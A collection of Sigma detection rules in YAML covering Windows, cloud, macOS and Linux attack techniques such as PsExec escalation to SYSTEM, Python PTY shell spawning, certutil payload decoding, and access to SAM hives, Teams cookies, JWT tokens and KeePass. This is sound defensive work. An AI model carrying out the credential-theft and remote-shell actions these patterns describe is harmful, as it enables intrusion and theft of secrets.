Sigma rules: 0x

title: Activity from Anonymous IP Addresses
id: d8b0a4fe-07a8-41be-bd39-b14afa025d95
status: test
description: Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.
references:
    - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
    - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
author: Austin Songer @austinsonger
date: 2021-08-23
modified: 2022-10-09
tags:
    - attack.command-and-control
    - attack.t1573
logsource:
    service: threat_management
    product: m365
detection:
    selection:
        eventSource: SecurityComplianceCenter
        eventName: 'Activity from anonymous IP addresses'
        status: success
    condition: selection
falsepositives:
    - User using a VPN or Proxy
level: medium

title: Amsi.DLL Loaded Via LOLBIN Process
id: 6ec86d9e-912e-4726-91a2-209359b999b9
status: test
description: Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack
references:
    - Internal Research
    - https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-06-01
modified: 2025-10-07
tags:
    - attack.defense-impairment
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\amsi.dll'
        Image|endswith:
            # TODO: Add more interesting processes
            - '\ExtExport.exe'
            - '\odbcconf.exe'
            # - '\regsvr32.exe' # legitimately calls amsi.dll
            - '\rundll32.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Anonymous login (RottenPotatoNG)
description: Detects scenarios where an attacker abuse RPC, NTLM relay and others components to escalate privileges.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0004-Privilege%20Escalation/T1134-Access%20Token%20Manipulation
- https://github.com/breenmachine/RottenPotatoNG
- https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
- https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
tags:
- attack.privilege_escalation
- attack.t1134.001
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:

  selection_login:
    EventID: 4624
    TargetUserSid: S-1-5-7 # ANONYMOUS LOGON
    LogonType: 3
    AuthenticationPackageName: NTLM
    IpAddress: '127.0.0.1'
    #LmPackageName NTLM V1

  selection_process:
    EventID: 4688
    SubjectUserSid: S-1-5-18
    NewProcessName|endswith: '\cmd.exe'

  condition: selection_login and selection_process
falsepositives:
- None
level: high

title: Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection
id: 6fe1719e-ecdf-4caf-bffe-4f501cb0a561
status: stable
description: Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .
references:
    - https://twitter.com/mvelazco/status/1410291741241102338
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
author: Sittikorn S, Nuttakorn T, Tim Shelton
date: 2021-07-01
modified: 2023-10-23
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
    - detection.emerging-threats
    - cve.2021-34527
    - cve.2021-1675
logsource:
    category: antivirus
detection:
    selection:
        Filename|contains: ':\Windows\System32\spool\drivers\x64\'
    keywords:
        - 'File submitted to Symantec' # symantec fp, pending analysis, more generic
    condition: selection and not keywords
falsepositives:
    - Unlikely, or pending PSP analysis
level: critical

title: APT31 Judgement Panda Activity
id: 03e2746e-2b31-42f1-ab7a-eb39365b2422
status: test
description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report
references:
    - https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
author: Florian Roth (Nextron Systems)
date: 2019-02-21
modified: 2023-03-10
tags:
    - attack.collection
    - attack.lateral-movement
    - attack.credential-access
    - attack.g0128
    - attack.t1003.001
    - attack.t1560.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection_ldifde:
        CommandLine|contains|all:
            - 'ldifde'
            - '-f -n'
            - 'eprod.ldf'
    selection_lateral_movement:
        CommandLine|contains|all:
            - 'copy \\\\'
            - 'c$'
        CommandLine|contains:
            - '\aaaa\procdump64.exe'
            - '\aaaa\netsess.exe'
            - '\aaaa\7za.exe'
            - '\c$\aaaa\'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: critical

title: Certutil payload obfuscation - Tchopper (command)
description: Detects scenarios where an attacker attempts to abuse certutil command to download obfuscated malicious payload using the Tchopper tool.
references:
- https://github.com/lawrenceamer/TChopper
- https://www.elastic.co/guide/en/security/current/suspicious-certutil-commands.html
- https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
- https://attack.mitre.org/software/S0160/
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
- https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/
tags:
- attack.defense_evasion
- attack.t1140
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 4688
    Version: 2 # parent process name is available starting Windows 10 / Server 2016 and higher
    ParentProcessName|endswith: '\WmiPrvSE.exe'
    NewProcessName|endswith: '\certutil.exe'
    CommandLine|contains: decode
  condition: selection
falsepositives:
- None
level: high

title: Cisco LDP Authentication Failures
id: 50e606bf-04ce-4ca7-9d54-3449494bbd4b
status: test
description: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
references:
    - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
author: Tim Brown
date: 2023-01-09
tags:
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.credential-access
    - attack.collection
    - attack.stealth
    - attack.t1078
    - attack.t1110
    - attack.t1557
logsource:
    product: cisco
    service: ldp
    definition: 'Requirements: cisco ldp logs need to be enabled and ingested'
detection:
    selection_protocol:
        - 'LDP'
    selection_keywords:
        - 'SOCKET_TCP_PACKET_MD5_AUTHEN_FAIL'
        - 'TCPMD5AuthenFail'
    condition: selection_protocol and selection_keywords
falsepositives:
    - Unlikely. Except due to misconfigurations
level: low

title: Critical Hive In Suspicious Location Access Bits Cleared
id: 39f919f3-980b-4e6f-a975-8af7e507ef2b
related:
    - id: 839dd1e8-eda8-4834-8145-01beeee33acd
      type: obsolete
status: test
description: |
    Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset.
    This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default).
    Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.
references:
    - https://github.com/nasbench/Misc-Research/blob/b20da2336de0f342d31ef4794959d28c8d3ba5ba/ETW/Microsoft-Windows-Kernel-General.md
author: Florian Roth (Nextron Systems)
date: 2017-05-15
modified: 2024-01-18
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 16
        Provider_Name: Microsoft-Windows-Kernel-General
        HiveName|contains:
            - '\Temp\SAM'
            - '\Temp\SECURITY'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Crypto Miner User Agent
id: fa935401-513b-467b-81f4-f9e77aa0dd78
status: test
description: Detects suspicious user agent strings used by crypto miners in proxy logs
references:
    - https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65
    - https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h
author: Florian Roth (Nextron Systems)
date: 2019-10-21
modified: 2021-11-27
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-useragent|startswith:
        # XMRig
            - 'XMRig '
        # CCMiner
            - 'ccminer'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Direct Autorun Keys Modification
id: 24357373-078f-44ed-9ac4-6d334a668a11
status: test
description: Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
    - https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2019-10-25
modified: 2026-01-05
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\reg.exe'
        - OriginalFileName: 'reg.exe'
    selection_cli_add:
        CommandLine|contains: 'add'     # to avoid intersection with discovery tactic rules
    selection_cli_keys:
        CommandLine|contains:           # need to improve this list, there are plenty of ASEP reg keys
            - '\software\Microsoft\Windows\CurrentVersion\Run' # Also covers the strings "RunOnce", "RunOnceEx", "RunServices", "RunServicesOnce"
            - '\software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
            - '\software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
            - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit'
            - '\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell'
            - '\software\Microsoft\Windows NT\CurrentVersion\Windows'
            - '\system\CurrentControlSet\Control\SafeBoot\AlternateShell'
    condition: all of selection_*
falsepositives:
    - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.
    - Legitimate administrator sets up autorun keys for legitimate reasons.
    - Discord
level: medium

title: Displaying Hidden Files Feature Disabled
id: 5a5152f1-463f-436b-b2f5-8eceb3964b42
status: test
description: |
    Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files.
    This technique is abused by several malware families to hide their files from normal users.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry
author: frack113
date: 2022-04-02
modified: 2024-03-26
tags:
    - attack.stealth
    - attack.t1564.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith:
            - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden'
            - '\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: medium
simulation:
    - type: atomic-red-team
      name: Hide Files Through Registry
      technique: T1564.001
      atomic_guid: f650456b-bd49-4bc1-ae9d-271b5b9581e7

title: Django Framework Exceptions
id: fd435618-981e-4a7c-81f8-f78ce480d616
status: stable
description: Detects suspicious Django web application framework exceptions that could indicate exploitation attempts
references:
    - https://docs.djangoproject.com/en/1.11/ref/exceptions/
    - https://docs.djangoproject.com/en/1.11/topics/logging/#django-security
author: Thomas Patzke
date: 2017-08-05
modified: 2020-09-01
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: django
detection:
    keywords:
        - SuspiciousOperation
        # Subclasses of SuspiciousOperation
        - DisallowedHost
        - DisallowedModelAdminLookup
        - DisallowedModelAdminToField
        - DisallowedRedirect
        - InvalidSessionKey
        - RequestDataTooBig
        - SuspiciousFileOperation
        - SuspiciousMultipartForm
        - SuspiciousSession
        - TooManyFieldsSent
        # Further security-related exceptions
        - PermissionDenied
    condition: keywords
falsepositives:
    - Application bugs
level: medium

title: External Disk Drive Or USB Storage Device Was Recognized By The System
id: f69a87ea-955e-4fb4-adb2-bb9fd6685632
status: test
description: Detects external disk drives or plugged-in USB devices.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6416
author: Keith Wright
date: 2019-11-20
modified: 2024-02-09
tags:
    - attack.t1091
    - attack.t1200
    - attack.lateral-movement
    - attack.initial-access
logsource:
    product: windows
    service: security
detection:
    selection_eid:
        EventID: 6416
    selection_field:
        - ClassName: 'DiskDrive'
        - DeviceDescription: 'USB Mass Storage Device'
    condition: all of selection_*
falsepositives:
    - Likely
level: low

title: Get Credentials For Identity
id: 41b73340-8b0d-438f-9d35-ae0b4a21f136
status: experimental
description: |
    Returns credentials for the provided identity ID. Any provided logins will be validated against supported login providers.
references:
    - https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation
    - https://traildiscover.cloud/#CognitoIdentity-GetCredentialsForIdentity
author: Zach Mathis (@yamatosecurity)
date: 2025-04-23
modified: 2025-04-23
tags:
    - attack.credential-access
    - attack.t1078.004 # Valid Accounts: Cloud Accounts
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName: 'GetCredentialsForIdentity'
    filter:
        errorCode: 'AccessDenied'
    condition: selection and not filter
falsepositives:
level: high

title: Github Repository/Organization Transferred
id: 04ad83ef-1a37-4c10-b57a-81092164bf33
status: test
description: Detects when a repository or an organization is being transferred to another location.
references:
    - https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository
    - https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership
    - https://docs.github.com/en/migrations
    - https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration
author: Romain Gaillard (@romain-gaillard)
date: 2024-07-29
tags:
    - attack.persistence
    - attack.exfiltration
    - attack.t1020
    - attack.t1537
logsource:
    product: github
    service: audit
    definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'
detection:
    selection:
        action:
            - 'migration.create' # A migration file was created for transferring data from a source location (such as a GitHub.com organization or a GitHub Enterprise Server instance) to a target GitHub Enterprise Server instance.
            - 'org.transfer_outgoing' # An organization was transferred between enterprise accounts.
            - 'org.transfer' # An organization was transferred between enterprise accounts.
            - 'repo.transfer_outgoing' # A repository was transferred to another repository network.
    condition: selection
falsepositives:
    - Allowed administrative activities.
level: medium

title: Group Policy Abuse for Privilege Addition
id: 1c480e10-7ee1-46d4-8ed2-85f9789e3ce4
status: test
description: |
    Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.
author: Elastic, Josh Nickels, Marius Rothenbücher
references:
    - https://www.elastic.co/guide/en/security/current/group-policy-abuse-for-privilege-addition.html#_setup_275
date: 2024-09-04
tags:
    - attack.privilege-escalation
    - attack.defense-impairment
    - attack.t1484.001
logsource:
    product: windows
    service: security
    definition: 'Requirements: The "Audit Directory Service Changes" logging policy must be configured in order to receive events.'
detection:
    selection:
        EventID: 5136
        AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
        AttributeValue|contains:
            - '827D319E-6EAC-11D2-A4EA-00C04F79F83A'
            - '803E14A0-B4FB-11D0-A0D0-00A0C90F574B'
    condition: selection
falsepositives:
    - Users allowed to perform these modifications (user found in field SubjectUserName)
level: medium

title: HackTool - Hashcat Password Cracker Execution
id: 39b31e81-5f5f-4898-9c0e-2160cfc0f9bf
status: test
description: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat
    - https://hashcat.net/wiki/doku.php?id=hashcat
author: frack113
date: 2021-12-27
modified: 2023-02-04
tags:
    - attack.credential-access
    - attack.t1110.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\hashcat.exe'
    selection_cli:
        CommandLine|contains|all:
            - '-a '
            - '-m 1000 '
            - '-r '
    condition: 1 of selection_*
falsepositives:
    - Tools that use similar command line flags and values
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_hktl_hashcat/info.yml

title: Invoke-Obfuscation Via Use Rundll32 - Security
id: cd0f7229-d16f-42de-8fe3-fba365fbcb3a
related:
    - id: 641a4bfb-c017-44f7-800c-2aee0184ce9b
      type: derived
status: test
description: Detects Obfuscated Powershell via use Rundll32 in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task30)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - '&&'
            - 'rundll32'
            - 'shell32.dll'
            - 'shellexec_rundll'
        ServiceFileName|contains:
            - value
            - invoke
            - comspec
            - iex
    condition: selection
falsepositives:
    - Unknown
level: high

title: Locked Workstation
id: 411742ad-89b0-49cb-a7b0-3971b5c1e0a4
status: stable
description: Detects locked workstation session events that occur automatically after a standard period of inactivity.
references:
    - https://www.cisecurity.org/controls/cis-controls-list/
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
    - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
    - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800
author: Alexandr Yampolskyi, SOC Prime
date: 2019-03-26
modified: 2023-12-11
tags:
    - attack.impact
    # - CSC16
    # - CSC16.11
    # - ISO27002-2013 A.9.1.1
    # - ISO27002-2013 A.9.2.1
    # - ISO27002-2013 A.9.2.2
    # - ISO27002-2013 A.9.2.3
    # - ISO27002-2013 A.9.2.4
    # - ISO27002-2013 A.9.2.5
    # - ISO27002-2013 A.9.2.6
    # - ISO27002-2013 A.9.3.1
    # - ISO27002-2013 A.9.4.1
    # - ISO27002-2013 A.9.4.3
    # - ISO27002-2013 A.11.2.8
    # - PCI DSS 3.1 7.1
    # - PCI DSS 3.1 7.2
    # - PCI DSS 3.1 7.3
    # - PCI DSS 3.1 8.7
    # - PCI DSS 3.1 8.8
    # - NIST CSF 1.1 PR.AC-1
    # - NIST CSF 1.1 PR.AC-4
    # - NIST CSF 1.1 PR.AC-6
    # - NIST CSF 1.1 PR.AC-7
    # - NIST CSF 1.1 PR.PT-3
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4800
    condition: selection
falsepositives:
    - Likely
level: informational

title: Macos Remote System Discovery
id: 10227522-8429-47e6-a301-f2b2d014e7ad
status: test
description: Detects the enumeration of other remote systems.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-22
modified: 2021-11-27
tags:
    - attack.discovery
    - attack.t1018
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/arp'
        CommandLine|contains: '-a'
    selection_2:
        Image|endswith: '/ping'
        CommandLine|contains:
            - ' 10.' # 10.0.0.0/8
            - ' 192.168.' # 192.168.0.0/16
            - ' 172.16.' # 172.16.0.0/12
            - ' 172.17.'
            - ' 172.18.'
            - ' 172.19.'
            - ' 172.20.'
            - ' 172.21.'
            - ' 172.22.'
            - ' 172.23.'
            - ' 172.24.'
            - ' 172.25.'
            - ' 172.26.'
            - ' 172.27.'
            - ' 172.28.'
            - ' 172.29.'
            - ' 172.30.'
            - ' 172.31.'
            - ' 127.' # 127.0.0.0/8
            - ' 169.254.' # 169.254.0.0/16
    condition: 1 of selection*
falsepositives:
    - Legitimate administration activities
level: informational

title: Microsoft Teams Sensitive File Access By Uncommon Applications
id: 65744385-8541-44a6-8630-ffc824d7d4cc
status: test
description: |
    Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.
references:
    - https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/
    - https://www.vectra.ai/blog/undermining-microsoft-teams-security-by-mining-tokens
author: '@SerkinValery'
date: 2024-07-22
tags:
    - attack.credential-access
    - attack.t1528
logsource:
    product: windows
    category: file_access
    definition: 'Requirements: Microsoft-Windows-Kernel-File ETW provider'
detection:
    selection:
        FileName|contains:
            - '\Microsoft\Teams\Cookies'
            - '\Microsoft\Teams\Local Storage\leveldb'
    filter_main_legit_location:
        # Note: its best to filter the full path to avoid false negatives
        Image|endswith: '\Microsoft\Teams\current\Teams.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

title: OpenSSH server firewall configuration on Windows (PowerShell)
description: Detects scenarios where an attacker configure the Windows firewall to allow incoming connections to perform stealthy lateral movement.
references:
 - https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH
 - https://winaero.com/enable-openssh-server-windows-10/
 - https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
 - https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx
tags:
- attack.defense_evasion
- attack.t1562.004
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection:
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  condition: 1 of selection*
falsepositives:
- Unknown
level: high

title: PFX File Creation
id: dca1b3e8-e043-4ec8-85d7-867f334b5724
status: test
description: |
    Detects the creation of PFX files (Personal Information Exchange format).
    PFX files contain private keys and certificates bundled together, making them valuable targets for attackers seeking to:

        - Exfiltrate digital certificates for impersonation or signing malicious code
        - Establish persistent access through certificate-based authentication
        - Bypass security controls that rely on certificate validation

    Analysts should investigate PFX file creation events by examining which process created the PFX file and its parent process chain, as well as unusual locations outside standard certificate stores or development environments.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/14
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2025-10-19
tags:
    - attack.credential-access
    - attack.t1552.004
    - detection.threat-hunting
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith: '.pfx'
    filter_optional_onedrive:
        Image:
            - 'C:\Program Files\Microsoft OneDrive\OneDrive.exe'
            - 'C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe'
        TargetFilename|endswith: '\OneDrive\CodeSigning.pfx'
    filter_optional_visual_studio:
        TargetFilename|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files\Microsoft Visual Studio\'
    filter_optional_cmake:
        TargetFilename|startswith: 'C:\Program Files\CMake\'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - System administrators legitimately managing certificates and PKI infrastructure
    - Development environments where developers create test certificates for application signing
    - Automated certificate deployment tools and scripts used in enterprise environments
    - Software installation processes that include certificate provisioning (e.g., web servers, VPN clients)
    - Certificate backup and recovery operations performed by IT staff
    - Build systems and CI/CD pipelines that generate code signing certificates
    - Third-party applications that create temporary certificates for secure communications
level: low

title: Potentially Suspicious File Download From ZIP TLD
id: 0bb4bbeb-fe52-4044-b40c-430a04577ebe
status: test
description: Detects the download of a file with a potentially suspicious extension from a .zip top level domain.
references:
    - https://twitter.com/cyb3rops/status/1659175181695287297
    - https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/
author: Florian Roth (Nextron Systems)
date: 2023-05-18
tags:
    - attack.stealth
logsource:
    product: windows
    category: create_stream_hash
detection:
    selection:
        Contents|contains: '.zip/'
        TargetFilename|contains:
            - '.bat:Zone'
            - '.dat:Zone'
            - '.dll:Zone'
            - '.doc:Zone'
            - '.docm:Zone'
            - '.exe:Zone'
            - '.hta:Zone'
            - '.pptm:Zone'
            - '.ps1:Zone'
            - '.rar:Zone'
            - '.rtf:Zone'
            - '.sct:Zone'
            - '.vbe:Zone'
            - '.vbs:Zone'
            - '.ws:Zone'
            - '.wsf:Zone'
            - '.xll:Zone'
            - '.xls:Zone'
            - '.xlsm:Zone'
            - '.zip:Zone'
    condition: selection
falsepositives:
    - Legitimate file downloads from a websites and web services that uses the ".zip" top level domain.
level: high

title: Potentially Suspicious JWT Token Search Via CLI
id: 6d3a3952-6530-44a3-8554-cf17c116c615
status: test
description: |
    Detects potentially suspicious search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG".
    JWT tokens are often used for access-tokens across various applications and services like Microsoft 365, Azure, AWS, Google Cloud, and others.
    Threat actors may search for these tokens to steal them for lateral movement or privilege escalation.
references:
    - https://mrd0x.com/stealing-tokens-from-office-applications/
    - https://www.scip.ch/en/?labs.20240523
author: Nasreddine Bencherchali (Nextron Systems), kagebunsher
date: 2022-10-25
modified: 2025-10-21
tags:
    - attack.credential-access
    - attack.t1528
    - attack.t1552.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_tools:
        CommandLine|contains:
            - 'find '
            - 'find.exe'
            - 'findstr'
            - 'select-string '
            - 'strings'
    selection_jwt_string:
        CommandLine|contains:
            - 'eyJ0eXAiOi' # {"typ":
            - 'eyJhbGciOi' # {"alg":
            - ' eyJ0eX'
            - ' "eyJ0eX"'
            - " 'eyJ0eX'"
            - ' eyJhbG'
            - ' "eyJhbG"'
            - " 'eyJhbG'"
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: PsExec/PAExec Escalation to LOCAL SYSTEM
id: 8834e2f7-6b4b-4f09-8906-d2276470ee23
related:
    - id: 207b0396-3689-42d9-8399-4222658efc99 # Generic rule based on similar cli flags
      type: similar
status: test
description: Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
    - https://www.poweradmin.com/paexec/
    - https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-11-23
modified: 2024-03-05
tags:
    - attack.resource-development
    - attack.t1587.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_sys: # Escalation to LOCAL_SYSTEM
        CommandLine|contains|windash:
            # Note that you don't need to add the ".exe" part when using psexec/paexec
            # The "-" can also be replaced with "/"
            # The order of args isn't important
            # "cmd" can be replaced by "powershell", "pwsh" or any other console like software
            - ' -s cmd'
            - ' -s -i cmd'
            - ' -i -s cmd'
            # Pwsh (For PowerShell 7)
            - ' -s pwsh'
            - ' -s -i pwsh'
            - ' -i -s pwsh'
            # PowerShell (For PowerShell 5)
            - ' -s powershell'
            - ' -s -i powershell'
            - ' -i -s powershell'
    selection_other:
        CommandLine|contains:
            - 'psexec'
            - 'paexec'
            - 'accepteula'
    condition: all of selection_*
falsepositives:
    - Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)
    - Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
level: high

title: Python Spawning Pretty TTY Via PTY Module
id: c4042d54-110d-45dd-a0e1-05c47822c937
related:
    - id: 32e62bc7-3de0-4bb1-90af-532978fe42c0
      type: similar
status: test
description: |
    Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.
references:
    - https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
author: Nextron Systems
date: 2022-06-03
modified: 2024-11-04
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        - Image|endswith:
              - '/python'
              - '/python2'
              - '/python3'
        - Image|contains:
              - '/python2.'  # python image is always of the form ../python3.10; ../python is just a symlink
              - '/python3.'
    selection_cli_import:
        CommandLine|contains:
            - 'import pty'
            - 'from pty '
    selection_cli_spawn:
        CommandLine|contains: 'spawn'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: Remote shell execution via SMB admin share
description: Detects scenarios where an attacker execute a remote shell via the admin share.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.002%20-SMB%20Windows%20Admin%20Shares
- https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
tags:
- attack.lateral_movement
- attack.t1021.002
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\ADMIN$'
    RelativeTargetName|endswith:
      - \cmd.exe
      - \powershell.exe
      - \pwsh.exe # PowerShell v6
  condition: selection
falsepositives:
- Administrator activity
level: high

title: Remote Thread Created In KeePass.EXE
id: 77564cc2-7382-438b-a7f6-395c2ae53b9a
status: test
description: Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity
references:
    - https://www.cisa.gov/uscert/ncas/alerts/aa20-259a
    - https://github.com/denandz/KeeFarce
    - https://github.com/GhostPack/KeeThief
author: Timon Hackenjos
date: 2022-04-22
modified: 2023-05-05
tags:
    - attack.credential-access
    - attack.t1555.005
logsource:
    product: windows
    category: create_remote_thread
detection:
    selection:
        TargetImage|endswith: '\KeePass.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

